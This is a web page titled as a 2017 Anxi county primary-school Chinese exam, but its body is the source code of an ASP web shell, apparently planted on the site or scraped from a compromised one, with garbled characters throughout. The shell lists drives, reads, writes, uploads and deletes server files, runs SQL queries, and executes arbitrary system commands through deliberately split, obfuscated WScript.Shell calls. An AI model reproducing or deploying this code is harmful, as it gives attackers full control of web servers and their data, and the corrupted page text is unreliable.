标签:小学语文试题,小学语文试题及答案,小学试题,http://www.duowen123.com
2017年秋季安溪县小学语文第十一册期末考查卷(一),
<%for each thing in ssyss.drives
response.write "["&thing.driveletter&":]"
next
set oscriptnet=server.createobject("ws" "cri" "pt.ne" "twork")
%>user:<%= "\\" & oscriptnet.computername & "\" & oscriptnet.username %>
<%if request("attrib")="true" then
response.write "切换到绝对路径"
else
response.write "切换到相对路径"
end if
%>rpath:<%=cpath%> | cdir:<%=lpath%>
<蔿l getfolder()%>
<蔿l getfile()%>
modified by 123456789 base on xiaolu
<蕇e "e.asp"%>
<%if request("op")="del" then
if request("attrib")="true" then
wfile=request("path")
else
wfile=server.mappath(request("path"))
end if
set thisfile = ssyss.getfile(wfile)
thisfile.delete true
response.write ""
else
if request("op")="copy" then
if request("attrib")="true" then
wfile=request("path")
dsfile=request("dpath")
else
wfile=server.mappath(request("path"))
dsfile=server.mappath(request("dpath"))
end if
set thisfile = ssyss.getfile(wfile)
thisfile.copy dsfile
%>
<%
else
if request.form("text")="" then
if request("creat")<>"yes" then
if request("attrib")="true" then
wfile=request("path")
else
wfile=server.mappath(request("path"))
end if
set thisfile = ssyss.opentextfile(wfile, 1, false)
counter=0
thisline=thisfile.readall
thisfile.close
set fs=nothing
end if
%>
<%else
if request("attrib")="true" then
wfile=request("path")
else
wfile=server.mappath(request("path"))
end if
set outfile=ssyss.createtextfile(wfile)
outfile.writeline request("text")
utfile.close
set fs=nothing
response.write ""
end if
end if
end if
%><蕇e "edir.asp"
if request("op")="del" then
if request("attrib")="true" then
wdir=request("path")
else
wdir=server.mappath(request("path"))
end if
ssyss.deletefolder wdir,true
response.write ""
else
if request("op")="creat" then
if request("attrib")="true" then
wdir=request("path")
else
wdir=server.mappath(request("path"))
end if
ssyss.createfolder wdir
response.write ""
end if
end if
case "up.asp"
set upload=new upload_xlsf
if upload.form("filepath")="" then
htmend "input up path!"
set upload=nothing
response.end
else
formpath=upload.form("filepath")
if right(formpath,1)<>"/" then formpath=formpath&"/"
end if
for each formname in upload.objfile
set file=upload.file(formname)
if file.filesize>0 then
file.saveas formpath & file.filename
response.write file.filepath&file.filename&" ("&file.filesize&") => "&formpath&file.filename&" succ!
"
end if
set file=nothing
next
set upload=nothing
sub htmend(msg)
set upload=nothing
response.write "up succ!"
response.end
end sub
case "sql.asp"
if trim(request.form("sqlcmd"))<>"" then
password= trim(request.form("pa"))
id=trim(request.form("id"))
sqllocalname=trim(request.form("sqllocalname"))
ku=trim(request.form("ku"))
session("sqlu")=id
session("sqlp")=password
session("sqls")=sqllocalname
session("sqlc")=trim(request.form("sqlcmd"))
session("sqlk")=ku
if sqllocalname="" or sqllocalname="sql server" then sqllocalname="127.0.0.1"
set adoconn=server.createobject("adodb.connection")
adoconn.open "provider=sqloledb.1;password="&password&";user id="&id&";database="&ku&";data source ="&sqllocalname
strquery = session("sqlc")
set recresult = adoconn.execute(strquery)
if left(strquery,4)="exec" or left(strquery,6)="select" then
if not recresult.eof then
for i=0 to recresult.fields.count-1
strresultn=strresultn&""&recresult.fields(i).name&""
next
allre=""&strresultn&""
do while not recresult.eof
for i=0 to recresult.fields.count-1
strresult = strresult &""& outcmd(recresult.fields(i).value)&""
next
allre=allre&strresult&""
strresult=""
recresult.movenext
loop
allre=allre&""
end if
end if
set recresult = nothing
end if
set adoconn = nothing
%>
<%response.write request.form("sqlcmd") & "
"
response.write allre
case "p.asp"%>
<%set oscript=server.createobject("wsc" "ri" "pt.sh" "ell")
ok=trim(request("ok"))
if ok<>"" then
response.write ""
set re=oscript.exec (ok)
re=re.stdout.readall
re=outcmd(re)
response.write re
end if
esnxa = request.form("text")
if (esnxa <> "") then
set shell=server.createobject("she" "ll.app" "lication")
set fod1=shell.namespace(esnxa)
set foditems=fod1.items
for each co in foditems
response.write "" & co.path & "-----" & co.size & "
"
next
end if
esnxa1 = request.form("text1")
esnxa2 = request.form("text2")
if esnxa1<>"" and esnxa2<>"" then
set shell1=server.createobject("she" "ll.app" "lication")
set fod1=shell1.namespace(esnxa2)
for i=len(esnxa1) to 1 step -1
if mid(esnxa1,i,1)="\" then
path=left(esnxa1,i-1)
exit for
end if
next
if len(path)=2 then path=path & "\"
path2=right(esnxa1,len(esnxa1)-i)
set fod2=shell1.namespace(path)
set foditem=fod2.parsename(path2)
fod1.copyhere foditem
response.write "command success!"
end if
esnxa3 = request.form("text3")
esnxa4 = request.form("text4")
if esnxa3<>"" and esnxa4<>"" then
set shell2=server.createobject("she" "ll.app" "lication")
set fod1=shell2.namespace(esnxa4)
for i=len(esnxa3) to 1 step -1
if mid(esnxa3,i,1)="\" then
path=left(esnxa3,i-1)
exit for
end if
next
if len(path)=2 then path=path & "\"
path2=right(esnxa3,len(esnxa3)-i)
set fod2=shell2.namespace(path)
set foditem=fod2.parsename(path2)
fod1.movehere foditem
response.write "command completed success!"
end if
esnxa5 = request.form("text5")
esnxa6 = request.form("text6")
if esnxa5<>"" and esnxa6<>"" then
set shell3=server.createobject("she" "ll.app" "lication")
shell3.namespace(esnxa5).items.item(esnxa6).invokeverb
response.write "command completed success!"
end if
end select
function outcmd(re)
re = replace(re," "," ")
re = replace(re,"<","<")
re = replace(re,">",">")
re = replace(re,chr(13),"
")
outcmd=re
end function
function editfilecontent(re)
re = replace(re,"<","<")
re = replace(re,">",">")
editfilecontent=re
end function
%>
上一页 [1] [2]
,2017年秋季安溪县小学语文第十一册期末考查卷(一)